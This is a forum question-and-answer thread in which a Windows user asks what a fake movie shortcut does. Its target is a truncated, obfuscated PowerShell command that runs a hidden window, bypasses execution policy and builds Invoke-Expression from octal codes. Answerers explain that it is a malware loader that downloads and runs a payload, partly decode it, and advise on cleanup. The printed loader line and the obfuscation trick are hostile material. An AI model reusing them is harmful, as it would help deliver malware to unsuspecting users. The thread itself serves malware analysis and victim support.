In Windows 10 I downloaded this file that I thought was a movie but it was a short-cut with a size of 700MB

I see that the target is this

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $pshOmE[4]+$PShoMe[30]+'X') ( -JoiN( (44 ,141, 163,160 , 170 ,40 , 75, 40 , 50,50 ,116 , 145 ,167,55 , 117 , 142 , 152,145 , 143 , 164,40,123 ,171,163,164 , 145,155,56 ,116

And it was set to start at


What does it do?

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    -nopr, -wind & byp are all pretty scary...The numbers are forming a bit-shifted URL but I don't have the knowledge to work out what it's trying to get to. – spikey_richie Nov 12 '18 at 14:35
  • thanks, I actually pressed the link, the Powershell briefly poped up thats all, so far – Erik Nov 12 '18 at 14:38
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    It is obviously some sort of malware. The digits are octal numbers which translate into $aspx = ((New-Object System.N, but it would need a lot more of these to be able to work out what it is intended to do. If it has installed a Trojan, such as a key logger, then you won't be aware of its presence. Disconnect from the internet, restart (not reboot) and run a full virus scan (including root-kit scan). Depending on its nature it could have infected other systems in your network. – AFH Nov 12 '18 at 14:45
  • I have McaFee liveSafe premium but it did not react – Erik Nov 12 '18 at 14:47
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    Some similar obfuscated code is documented here. – AFH Nov 12 '18 at 14:59

It's a malware loader.

It executes a powershell code beginning with New-Object System.N... (hidden in the numbers), which in full content is New-Object System.Net.WebClient, that will further be used to download and execute the actual malware from the URL that is also hidden in the further numbers of the obfuscated code.

If you have already clicked the link, then you're likely already infected, unless the URL was already taken down.

You may try to paste your line to notepad and then delete everything before ( -JoiN( (, copy the remaining part (beginning with ( -JoiN( (...) and paste it to PowerShell window. It will disclose the obfuscated PowerShell code that would normally be executed by the preceding $pshOmE[4]+$PShoMe[30]+'X') = iex = Invoke-Expression.

  • thanks, I got this code: 441411631601704075405050116145167551171421521451431644012317116316414515556116 How can i make out something from this code? – Erik Nov 12 '18 at 18:25
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    There are probably additional parts of the code (such as the actual URL) hiding in the shortcut file that are appended to the command when the shortcut is run. – trognanders Nov 12 '18 at 20:51
  • Please pass the complete code, incl. commas. – Michał Sacharewicz Nov 13 '18 at 10:05
  • that is the code I got following your instructions, 441411631601704075405050116..... – Erik Nov 14 '18 at 8:48
  • You're missing something. Please paste whole shortcut code. – Michał Sacharewicz Nov 15 '18 at 18:13

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